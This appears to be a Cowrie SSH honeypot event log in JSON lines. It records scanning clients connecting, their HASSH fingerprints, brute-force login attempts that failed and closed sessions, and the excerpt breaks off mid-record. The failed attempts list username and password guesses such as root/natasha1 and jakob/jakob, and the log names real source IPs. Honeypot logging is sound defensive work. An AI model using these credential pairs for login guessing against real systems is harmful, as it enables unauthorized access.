{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35936,"dst_ip":"10.17.0.5","dst_port":22,"session":"89ed7e1848c5","protocol":"ssh","message":"New connection: 91.92.40.36:35936 (10.17.0.5:22) [session: 89ed7e1848c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:02.395435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:02.997589Z","src_ip":"91.92.40.36","session":"89ed7e1848c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:04.354263Z","src_ip":"91.92.40.36","session":"89ed7e1848c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":59716,"dst_ip":"10.17.0.5","dst_port":22,"session":"58bfd64ea1b0","protocol":"ssh","message":"New connection: 163.7.9.84:59716 (10.17.0.5:22) [session: 58bfd64ea1b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:04.778661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:04.785108Z","src_ip":"163.7.9.84","session":"58bfd64ea1b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:05.039624Z","src_ip":"163.7.9.84","session":"58bfd64ea1b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz0p;/","message":"login attempt [root/1qaz0p;/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:06.070051Z","src_ip":"163.7.9.84","session":"58bfd64ea1b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:07.322604Z","src_ip":"163.7.9.84","session":"58bfd64ea1b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28320,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec49c2612b8d","protocol":"ssh","message":"New connection: 91.92.40.36:28320 (10.17.0.5:22) [session: ec49c2612b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:10.640926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:14.425354Z","src_ip":"91.92.40.36","session":"ec49c2612b8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:14.428516Z","src_ip":"91.92.40.36","session":"ec49c2612b8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5862,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc64f47e18d2","protocol":"ssh","message":"New connection: 196.188.93.169:5862 (10.17.0.5:22) [session: dc64f47e18d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:14.840666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:14.844959Z","src_ip":"196.188.93.169","session":"dc64f47e18d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:15.020247Z","src_ip":"196.188.93.169","session":"dc64f47e18d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"natasha1","message":"login attempt [root/natasha1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:15.674032Z","src_ip":"91.92.40.36","session":"89ed7e1848c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fai","message":"login attempt [root/fai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:15.749009Z","src_ip":"196.188.93.169","session":"dc64f47e18d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":37936,"dst_ip":"159.203.135.109","dst_port":22,"session":"d06d8c97cbd2","protocol":"ssh","message":"New connection: 152.32.214.226:37936 (159.203.135.109:22) [session: d06d8c97cbd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:15.852235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:15.857787Z","src_ip":"152.32.214.226","session":"d06d8c97cbd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:16.071842Z","src_ip":"152.32.214.226","session":"d06d8c97cbd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":51548,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fe6d8c58c74","protocol":"ssh","message":"New connection: 194.113.233.25:51548 (159.203.135.109:22) [session: 3fe6d8c58c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:16.290379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:16.295088Z","src_ip":"194.113.233.25","session":"3fe6d8c58c74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:16.383938Z","src_ip":"194.113.233.25","session":"3fe6d8c58c74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"26071983","message":"login attempt [root/26071983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:16.653296Z","src_ip":"194.113.233.25","session":"3fe6d8c58c74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:16.928059Z","src_ip":"196.188.93.169","session":"dc64f47e18d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42692,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c904cfcb8df","protocol":"ssh","message":"New connection: 91.92.40.36:42692 (10.17.0.5:22) [session: 5c904cfcb8df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:16.954860Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasxcq23e@#5C27893e","message":"login attempt [root/asdasxcq23e@#5C27893e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:16.968665Z","src_ip":"152.32.214.226","session":"d06d8c97cbd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:17.748811Z","src_ip":"194.113.233.25","session":"3fe6d8c58c74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:18.186599Z","src_ip":"152.32.214.226","session":"d06d8c97cbd2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:18.534518Z","src_ip":"91.92.40.36","session":"5c904cfcb8df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:18.537707Z","src_ip":"91.92.40.36","session":"5c904cfcb8df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.6","message":"Connection lost after 16.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:18.991986Z","src_ip":"91.92.40.36","session":"89ed7e1848c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"gg","message":"login attempt [root1/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:23.434912Z","src_ip":"91.92.40.36","session":"ec49c2612b8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jakob","password":"jakob","message":"login attempt [jakob/jakob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:23.822848Z","src_ip":"91.92.40.36","session":"5c904cfcb8df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42738,"dst_ip":"10.17.0.5","dst_port":22,"session":"405562317045","protocol":"ssh","message":"New connection: 91.92.40.36:42738 (10.17.0.5:22) [session: 405562317045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:24.884593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:26.520394Z","src_ip":"91.92.40.36","session":"405562317045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:26.523961Z","src_ip":"91.92.40.36","session":"405562317045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:26.608450Z","src_ip":"91.92.40.36","session":"5c904cfcb8df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.7","message":"Connection lost after 16.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:27.308691Z","src_ip":"91.92.40.36","session":"ec49c2612b8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48210,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b83f27c7b33","protocol":"ssh","message":"New connection: 91.92.40.36:48210 (10.17.0.5:22) [session: 4b83f27c7b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:33.142567Z"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:34.245394Z","src_ip":"91.92.40.36","session":"405562317045","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:34.926420Z","src_ip":"91.92.40.36","session":"4b83f27c7b33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-